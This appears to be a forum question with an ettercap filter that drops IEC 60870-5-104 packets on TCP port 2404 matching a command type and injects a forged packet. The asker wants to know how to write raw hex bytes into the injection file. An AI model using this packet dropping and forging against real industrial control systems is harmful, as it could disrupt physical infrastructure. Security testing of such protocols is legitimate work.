if (ip.proto == TCP) {
if (tcp.src == 2404 || tcp.dst == 2404) {
if (DATA.data+6 == 0x64 && DATA.data+8 == 0x07) {
msg(" pos activation - drop \n");
drop();
inject("./fake_pkt");
}
}
}
We're able to successfully drop and inject packet using the ettercap filter above.
fake_pkt
file content is "\x68\x04\x07\x00\x00\x00"
.
The injected content size is 24 characters and the injected packet contents are "\x68\x04\x07\x00\x00\x00"
, as text.
But our goal is to send a binary packet (68,04,07,00,00,00
) of the size equal to 6 bytes.
May I know how to write hex values into the fake_pkt file to achieve our goal?